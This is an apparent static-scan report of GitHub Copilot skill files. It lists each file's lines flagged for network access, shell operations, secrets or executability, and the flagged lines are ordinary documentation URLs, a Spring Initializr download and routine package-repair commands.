- **Getting Started Tutorial**: https://github.com/github/copilot-sdk - Network accessline 706
- **GitHub MCP Server**: https://github.com/github/github-mcp-server - Network accessline 707
- **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers - Network accessline 708
- **Cookbook**: https://github.com/github/copilot-sdk - Network accessline 709
- **Samples**: https://github.com/github/copilot-sdk
harness/github-copilot/skills/copilot-usage-metrics/get-enterprise-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/copilot-usage-metrics/get-enterprise-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/copilot-usage-metrics/get-org-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/copilot-usage-metrics/get-org-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/create-agentsmd/SKILL.md
- Network accessline 14
- "Generate coding agent instructions for my project." - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - Network accessline 15
- "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - "Document setup and test commands for agents." - Network accessline 16
- "Make this repo follow https://agents.md/." - Network accessline 21
- The target file is `AGENTS.md` at the repository root unless a monorepo subproject needs a closer nested `AGENTS.md`. - Follow the open AGENTS.md format at `https://agents.md/.`. - Network accessline 22
- Follow the open AGENTS.md format at `https://agents.md/.`. - Network accessline 189
- [AGENTS.md](https://agents.md/.)
harness/github-copilot/skills/create-implementation-plan/SKILL.md
- Network accessline 57
The frontmatter `status` must be exactly one of `Completed`, `In progress`, `Planned`, `Deprecated`, or `On Hold`. The introduction must show a shields badge using `https://img.shields.io/badge/status-<status>-<status_color>`, where status - Network accessline 74

harness/github-copilot/skills/create-llms/SKILL.md
- Network accessline 2
name: "create-llms" description: >- Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document r - Network accessline 3
description: >- Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure - Network accessline 4
Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add a - Network accessline 23
- No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling ` - Network accessline 25
- Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks. - Network accessline 140
- [llms.txt specification](https://llmstxt.org/) - Network accessline 141
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/github-copilot/skills/create-readme/SKILL.md
- Network accessline 54
| Source | Useful pattern | | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | - Network accessline 55
| --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | | `https://raw.githubusercontent.com/Azure-Samples/server - Network accessline 56
| `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | - Network accessline 57
| `https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md` | Practical sample structure and concise usage flow. | - Network accessline 58
| `https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md` | Compact tool positioning and example-first usage. | - Network accessline 59
| `https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md` | Short, appealing project introduction and focused commands. | - Network accessline 60
| `https://github.com/orgs/community/discussions/16925` | GitHub admonition syntax reference. | - Network accessline 134
- [Azure Samples serverless chat README](https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md) - Network accessline 135
- [Azure Samples serverless recipes README](https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md) - Network accessline 136
- [run-on-output README](https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md) - Network accessline 137
- [smoke README](https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md) - Network accessline 138
- [GitHub admonition syntax discussion](https://github.com/orgs/community/discussions/16925)
harness/github-copilot/skills/create-spring-boot-java-project/SKILL.md
- Network accessline 36
curl https://start.spring.io/starter.zip -d artifactId=${input:projectName:demo-java} -d bootVersion=3.4.5 -d dependencies=lombok,configuration-processor,web,data-jpa,postgresql,data-redis,data-mongodb,validation,cache,testcontainers - Dangerous shell operationline 43
rm -f starter.zip - Dangerous shell operationline 107
docker-compose rm -sf - Dangerous shell operationline 110
The optional run commands are `docker-compose up -d`, `./mvnw spring-boot:run`, and `docker-compose rm -sf`.
harness/github-copilot/skills/create-spring-boot-kotlin-project/SKILL.md
- Network accessline 27
1. Check Java with `java -version`. 2. Download the Spring Initializr archive from https://start.spring.io/starter.zip . - Network accessline 28
2. Download the Spring Initializr archive from https://start.spring.io/starter.zip . - Dangerous shell operationline 30
4. Remove `starter.zip` after extraction with `rm -f starter.zip`. - Network accessline 39
curl https://start.spring.io/starter.zip \ - Dangerous shell operationline 50
rm -f starter.zip - Dangerous shell operationline 116
docker-compose rm -sf - Dangerous shell operationline 129
The original `download-spring-boot-project-template` anchor maps to the Spring Initializr request in this skill. Preserve local service paths exactly: `./redis_data` maps to `/data`, `./postgres_data` maps to `/var/lib/postgresql/data`, and
harness/github-copilot/skills/create-tldr-page/SKILL.md
- Network accessline 16
- "Generate a concise command reference from this manual page." - "Turn this --help output and upstream URL into a tldr page." - "Write a tldr-pages style page for git from https://git-scm.com/docs/git." - Network accessline 18
- "Write a tldr-pages style page for git from https://git-scm.com/docs/git." - Network accessline 72
/create-tldr-page https://some-command.io/docs/manual.html - Network accessline 96
1. https://gnu.org/software/manual/html_node/some-command.html - Network accessline 97
2. https://some.org/serve/some.man.html#some-command - Network accessline 98
3. https://some-command.io/docs/cli/latest/manual - Network accessline 99
4. https://some-command.io/docs/quickstart - Network accessline 111
> Short, snappy description. > Some subcommands such as `subcommand1` have their own usage documentation. > More information: <https://url-to-upstream.tld>. - Network accessline 113
> More information: <https://url-to-upstream.tld>. - Network accessline 139
* [git](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md) - Network accessline 140
* [distrobox-create](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md) - Network accessline 141
* [nmcli](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md) - Network accessline 148
/create-tldr-page #fetch https://git-scm.com/docs/git git - Network accessline 156
> Distributed version control system. > Some subcommands such as `commit`, `add`, `branch`, `switch`, `push`, etc. have their own usage documentation. > More information: <https://git-scm.com/docs/git>. - Network accessline 158
> More information: <https://git-scm.com/docs/git>. - Network accessline 166
`git clone {{https://example.com/repo.git}}` - Network accessline 216
- Example: `{{device_name}}`, `{{chip_name}}`, `{{repository_url}}` - Example: `{{path/to/file}}` for file paths - Example: `{{https://example.com}}` for URLs - Network accessline 218
- Example: `{{https://example.com}}` for URLs - Network accessline 252
- https://git-scm.com/docs/git - Network accessline 253
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md - Network accessline 254
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md - Network accessline 255
- https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md
harness/github-copilot/skills/csharp-mstest/SKILL.md
- Network accessline 76
| Conditional execution | MSTest 3.10+ supports `[OSCondition(OperatingSystems.Windows)]`, Linux/MacOS combinations, `ConditionMode.Exclude`, `[CICondition]`, and `[CICondition(ConditionMode.Exclude)]`. | | Parallelization | At assembly lev - Network accessline 78
| Work items | Use `[WorkItem(12345)]` for Azure DevOps and `[GitHubWorkItem("https://github.com/owner/repo/issues/42")]` for GitHub issues; associations flow into test results for CI/CD traceability. | - Network accessline 123
- [MSTest TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext) - Network accessline 124
- [Example GitHub work item URL](https://github.com/owner/repo/issues/42)
harness/github-copilot/skills/daily-focus-board/SKILL.md
- Network accessline 61
1. Gather the task list from the user or their message. Capture a short title, optional `emoji`, optional `sub` note, optional `tag`, optional `due`, optional `quad`, and counter fields when the task has a numeric goal. 2. Generate `focus-b - Network accessline 62
2. Generate `focus-board.html` from `assets/board.template.html`, escaping injected JSON as described above. 3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scr - Network accessline 63
3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scripts/serve-board.ps1`. - Network accessline 64
4. Open the board in a browser canvas side panel when the host supports it; otherwise open `http://localhost:8799/focus-board.html` in the default browser. 5. Drive the board through conversation: keep status and notes in the browser, regen - Network accessline 111
**Status:** created | needs input | blocked **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` - Network accessline 112
**Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` **Date key:** `<YYYY-MM-DD>` - Network accessline 113
**Open URL:** `http://localhost:8799/focus-board.html`
harness/github-copilot/skills/daily-focus-board/references/neurodivergent-design.md
- Network accessline 50
- **Executive function — task initiation, activation energy, time management, working memory** — CHADD (Children and Adults with ADHD), the leading ADHD nonprofit: - *Executive Function Skills* — https://chadd.org/about-adhd/executive-f - Network accessline 51
CHADD (Children and Adults with ADHD), the leading ADHD nonprofit: - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/ - *Executive Function Issues and ADHD* (Brown & Barkley models) — - Network accessline 52
- *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/ - Network accessline 53
- *Executive Function Issues and ADHD* (Brown & Barkley models) — https://chadd.org/attention-article/executive-function-issues-and-adhd/ - **Body doubling** — focus improving in the presence of a partner; the board's core premise - Network accessline 54
https://chadd.org/attention-article/executive-function-issues-and-adhd/ - Network accessline 55
- **Body doubling** — focus improving in the presence of a partner; the board's core premise ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* — https://www.simplypsychology.com/articles/body-doubling-adhd - Network accessline 56
("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* — https://www.simplypsychology.com/articles/body-doubling-adhd - **Reduced motion / sensory sensitivity** — behind the reduced-motion toggle and honoring the - Network accessline 57
https://www.simplypsychology.com/articles/body-doubling-adhd - Network accessline 59
`prefers-reduced-motion` setting: - MDN, *`prefers-reduced-motion`* — https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - Network accessline 60
- MDN, *`prefers-reduced-motion`* — https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* — - Network accessline 61
https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion - Network accessline 62
- W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* — https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious - Network accessline 63
https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - Network accessline 64
- **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious Leadership Group, *Locating Yourself: A Key to Conscious Leadership* — https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - Network accessline 65
Group, *Locating Yourself: A Key to Conscious Leadership* — https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"): - Network accessline 66
https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - Network accessline 67
- **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"): - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix - Todoist, *The Eisenhower Matrix* — https://todoist - Network accessline 68
- Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix - Network accessline 69
- Todoist, *The Eisenhower Matrix* — https://todoist.com/productivity-methods/eisenhower-matrix - Network accessline 71
self-compassion.org — https://self-compassion.org/
harness/github-copilot/skills/daily-focus-board/references/tutorial.md
- Network accessline 22
1. Ask Ember to make the board. It serves the folder (e.g. `python -m http.server 8790 --bind 127.0.0.1`) and gives you an `http://localhost:…/…html` URL. - Network accessline 23
you an `http://localhost:…/…html` URL. - Network accessline 34
> localStorage needs an `http://` origin, so always **serve ** the folder rather than double-clicking
harness/github-copilot/skills/daily-focus-board/scripts/serve-board.ps1
- Executable scriptline 1
Executable file - Network accessline 18
Write-Error "The server exited on startup (code $($proc.ExitCode)) — is Python installed and the port free?"; exit 1 } $url = "http://localhost:$Port/$File" - Network accessline 19
} $url = "http://localhost:$Port/$File" Write-Host "Focus board: $url" - Network accessline 20
$url = "http://localhost:$Port/$File"
harness/github-copilot/skills/data-breach-blast-radius/SKILL.md
- Network accessline 24
> **Why this matters:** 83% of organizations have experienced more than one data breach (IBM Cost of a Data Breach Report). The global average breach cost was **$4.88M in 2024**, with the 2025 IBM report showing a 9% decrease — download the - Network accessline 321
- [IBM Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach.)
harness/github-copilot/skills/data-breach-blast-radius/references/SOURCES.md
- Network accessline 11
### GDPR Special Categories (Tier 1 classification basis) - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - Network accessline 12
- **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - **What it says:** Biometric data, health data, genetic data, racial/ethnic origin, politica - Network accessline 13
- **URL:** https://gdpr-info.eu/art-9-gdpr/ - Network accessline 17
### PCI-DSS Data Classification - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - Network accessline 18
- **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - **What it says:** Primary Account Number (PAN), cardholder name, expiration date, se - Network accessline 19
- **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - Network accessline 23
### HIPAA Protected Health Information (PHI) Definition - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identi - Network accessline 24
- **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - **What it says:** The 18 HIPAA ide - Network accessline 25
- **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - Network accessline 33
**Source:** Regulation (EU) 2016/679 — Article 83 "General conditions for imposing administrative fines" **URL:** https://gdpr-info.eu/art-83-gdpr/ - Network accessline 34
**URL:** https://gdpr-info.eu/art-83-gdpr/ - Network accessline 48
| €1.2B | Meta (Ireland DPC) | 2023 | source page no longer resolves | | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-relea - Network accessline 49
| €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | | - Network accessline 50
| €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | - Network accessline 51
| €150M | Google (France CNIL) | 2022 | source page no longer resolves | | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaen - Network accessline 52
| €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaengt-bussgeld-gegen-hm.html | - Network accessline 60
**Source:** California Civil Code § 1798.155(a) — California Consumer Privacy Act **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 61
**URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 68
**Private Right of Action source:** California Civil Code § 1798.150 **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 69
**URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 80
**Source:** 45 CFR § 160.404 — Civil Money Penalties **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 81
**URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 83
**Source (HHS penalty tiers explained):** HHS Office for Civil Rights **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html - Network accessline 84
**URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html - Network accessline 92
**URL for current amounts:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html - Network accessline 96
**Criminal penalties source:** 42 U.S.C. § 1320d-6 **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6 - Network accessline 97
**URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6 - Network accessline 103
**Source:** Lei Geral de Proteção de Dados Pessoais (LGPD) — Lei nº 13.709/2018, Article 52 **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 104
**URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 114
**Source:** Personal Data Protection Act 2012 (Singapore) — Section 48J **URL:** https://sso.agc.gov.sg/Act/PDPA2012 - Network accessline 115
**URL:** https://sso.agc.gov.sg/Act/PDPA2012 - Network accessline 123
**Source:** IBM Security — "Cost of a Data Breach Report" (published annually since 2005) **URL:** https://www.ibm.com/reports/data-breach - Network accessline 124
**URL:** https://www.ibm.com/reports/data-breach - Network accessline 147
| Regulation | Timeline | Source | |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | - Network accessline 148
|-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ | - Network accessline 149
| GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | - Network accessline 150
| UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ | - Network accessline 151
| HIPAA | 60 days | 45 CFR § 164.412 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-D/section-164.412 | - Network accessline 152
| CCPA | "Most expedient time" | Cal. Civ. Code § 1798.82 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.82 | - Network accessline 153
| Singapore PDPA | 3 calendar days | PDPA Section 26D — https://sso.agc.gov.sg/Act/PDPA2012 | - Network accessline 154
| Australia Privacy Act | 30 days | Privacy Act 1988, APP 1 + NDB Scheme — https://www.oaic.gov.au/privacy/notifiable-data-breaches | - Network accessline 155
| LGPD Brazil | 2 business days (ANPD guidance) | ANPD Resolution CD/ANPD nº 2/2022 — https://www.gov.br/anpd/pt-br | - Network accessline 156
| Japan APPI | 3–5 business days (2022 amendment) | Act on Protection of Personal Information Art. 26 — https://www.ppc.go.jp/en/legal/ | - Network accessline 157
| PIPEDA Canada | "As soon as feasible" | PIPEDA s.10.1 — https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/ | - Network accessline 165
| Component | Based on | |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | - Network accessline 166
|-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https:/ - Network accessline 167
| Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | - Network accessline 168
| Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https://www.fairinstitute.org/ | - Network accessline 169
| Population Scale normalization | CVSS v4.0 Attack Scale metric — https://www.first.org/cvss/v4-0/ | - Network accessline 170
| Context multipliers | GDPR recitals 75, 91 (special categories increase risk level) — https://gdpr-info.eu/recitals/no-75/ |
harness/github-copilot/skills/data-breach-blast-radius/references/blast-radius-calculator.md
- Network accessline 237
Use these when no specific cost data is available. Figures below are from the **IBM 2024 edition**. IBM publishes a new edition annually at https://www.ibm.com/reports/data-breach — the 2025 report reports a ~9% decrease in global average c
harness/github-copilot/skills/data-breach-blast-radius/references/data-classification.md
harness/github-copilot/skills/data-breach-blast-radius/references/hardening-playbook.md
harness/github-copilot/skills/data-breach-blast-radius/references/regulatory-impact.md
- Network accessline 150
**Legal source:** GDPR Article 83 — https://gdpr-info.eu/art-83-gdpr/ - Network accessline 190
**Legal source:** California Civil Code § 1798.155(a) (as amended June 30, 2025, Stats. 2025, Ch. 20) — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.155 - Network accessline 191
**Private right of action source:** California Civil Code § 1798.150 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV§ionNum=1798.150 - Network accessline 222
**Legal source:** 45 CFR § 160.404 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404 - Network accessline 223
**HHS enforcement page:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html - Network accessline 247
**Legal source:** Lei nº 13.709/2018 (LGPD) — Article 52, I — https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm - Network accessline 248
**ANPD (Brazilian DPA):** https://www.gov.br/anpd/pt-br - Network accessline 282
**Benchmark source:** IBM Security + Ponemon Institute — "Cost of a Data Breach Report" (annually updated) **URL:** https://www.ibm.com/reports/data-breach Figures below are from the **2024 edition** (last verified). IBM 2025 shows a 9% - Network accessline 283
**URL:** https://www.ibm.com/reports/data-breach
harness/github-copilot/skills/data-breach-blast-radius/references/report-format.md
- Network accessline 263
*This report was generated by the [data-breach-blast-radius](https://github.com/github/awesome-copilot/tree/main/skills/data-breach-blast-radius) skill for GitHub Copilot.*
harness/github-copilot/skills/datanalysis-credit-risk/references/analysis.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/datanalysis-credit-risk/references/func.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/datanalysis-credit-risk/scripts/example.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/dataverse-python-usecase-builder/SKILL.md
- Access to secretsline 116
[Credential-related source omitted]
harness/github-copilot/skills/debian-linux-triage/SKILL.md
- Dangerous shell operationline 26
| Package state | `apt-cache policy <package>`; `dpkg -l | grep '^..r'`; `sudo dpkg --audit` | Finds held, half-configured, removed-but-configured, and dependency-broken packages. | - Dangerous shell operationline 39
| Apt failure | `sudo apt update`; `sudo apt -f install`; `sudo dpkg --configure -a` after reading the error | Repository mismatch, held package, interrupted configure step. | - Dangerous shell operationline 49
| Interrupted package configuration | `sudo dpkg --configure -a`, then `sudo apt -f install` if dependencies remain broken. | Removing `/var/lib/dpkg/` metadata. | - Dangerous shell operationline 50
| Wrong or missing package | `sudo apt install --reinstall <package>` after checking `apt-cache policy`. | Installing random `.deb` files without source and dependency review. | - Dangerous shell operationline 51
| Held package blocks upgrade | `apt-mark showhold`; unhold only the intended package with `sudo apt-mark unhold <package>`. | Blanket unhold of all packages. |
harness/github-copilot/skills/dependabot/SKILL.md
- Network accessline 349
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 350
[Credential-related source omitted] - Network accessline 351
url: https://npm.example.com - Network accessline 387
> Scan the dependencies I added on this branch for known vulnerabilities and tell me which versions to upgrade to before I commit. Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announ - Network accessline 388
Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanni - Network accessline 389
> Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) (May 2026) - Network accessline 432
- [ ] Bundled references are cited only for deeper detail and every cited file exists. ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-githu - Network accessline 433
## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - [Example private registry endpoint](https://npm.e - Network accessline 434
- [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - Network accessline 435
- [Example private registry endpoint](https://npm.example.com)
harness/github-copilot/skills/dependabot/references/dependabot-yml-reference.md
- Network accessline 339
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 340
[Credential-related source omitted] - Network accessline 341
url: https://npm.example.com - Network accessline 344
maven-central: type: maven-repository url: https://repo.maven.apache.org/maven2 - Network accessline 345
type: maven-repository url: https://repo.maven.apache.org/maven2 username: "" - Network accessline 346
url: https://repo.maven.apache.org/maven2 - Network accessline 350
docker-ghcr: type: docker-registry url: https://ghcr.io - Network accessline 351
type: docker-registry url: https://ghcr.io username: ${{secrets.GHCR_USER}} - Network accessline 352
url: https://ghcr.io - Network accessline 356
python-private: type: python-index url: https://pypi.example.com/simple - Network accessline 357
[Credential-related source omitted] - Network accessline 358
url: https://pypi.example.com/simple
harness/github-copilot/skills/dependabot/references/example-configs.md
- Network accessline 168
npm-private: type: npm-registry url: https://npm.internal.example.com - Network accessline 169
[Credential-related source omitted] - Network accessline 170
url: https://npm.internal.example.com - Network accessline 173
docker-ghcr: type: docker-registry url: https://ghcr.io - Network accessline 174
type: docker-registry url: https://ghcr.io username: ${{secrets.GHCR_USER}} - Network accessline 175
url: https://ghcr.io - Network accessline 252
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 253
[Credential-related source omitted] - Network accessline 254
url: https://npm.example.com
harness/github-copilot/skills/documentation-writer/SKILL.md
- Network accessline 90
- [Diátaxis framework](https://diataxis.fr/)
harness/github-copilot/skills/dotnet-linux-modernization/references/linux-hosting.md
- Network accessline 8
The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), - Network accessline 16
The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview) - Network accessline 17
marks that tool deprecated. The [GitHub Copilot upgrade overview](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) documents upgrade scenarios and supported environments. Discover the installed workflow - Network accessline 18
[GitHub Copilot upgrade overview](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) - Network accessline 25
Follow the [ASP.NET Framework to ASP.NET Core guide](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0). - Network accessline 31
package availability does not establish server compatibility. - Remoting, COM+, Workflow and AppDomain-creation dependencies require alternatives or isolation; consult [unavailable Framework technologies](https://learn.microsoft.com/en-us - Network accessline 32
- Remoting, COM+, Workflow and AppDomain-creation dependencies require alternatives or isolation; consult [unavailable Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable). - Native - Network accessline 33
consult [unavailable Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable). - Network accessline 43
Use [Microsoft's container-image guidance](https://learn.microsoft.com/en-us/dotnet/core/docker/container-images) - Network accessline 53
The [.NET 8 container port change](https://learn.microsoft.com/en-us/dotnet/core/compatibility/containers/8.0/aspnet-port) - Network accessline 61
| --- | --- | --- | | Fit | A web application aligned with App Service operations and a selected plan. | HTTP services, workers or finite jobs with an explicitly selected execution/scaling model. | | Image | Verified Linux image for the ser - Network accessline 62
| Fit | A web application aligned with App Service operations and a selected plan. | HTTP services, workers or finite jobs with an explicitly selected execution/scaling model. | | Image | Verified Linux image for the service/plan; this suit - Network accessline 63
| Image | Verified Linux image for the service/plan; this suite uses `amd64`. | [Container requirements](https://learn.microsoft.com/en-us/azure/container-apps/containers) specify `linux/amd64`; not Windows. | - Network accessline 69
The [App Service sidecar reference](https://learn.microsoft.com/en-us/azure/app-service/configure-sidecar) - Network accessline 74
The [ACA probe reference](https://learn.microsoft.com/en-us/azure/container-apps/health-probes) documents HTTP(S)/TCP probes and excludes `exec` probes. Use numeric ports and tested thresholds. Do not assume a shell, curl, or a Kubernetes p - Network accessline 78
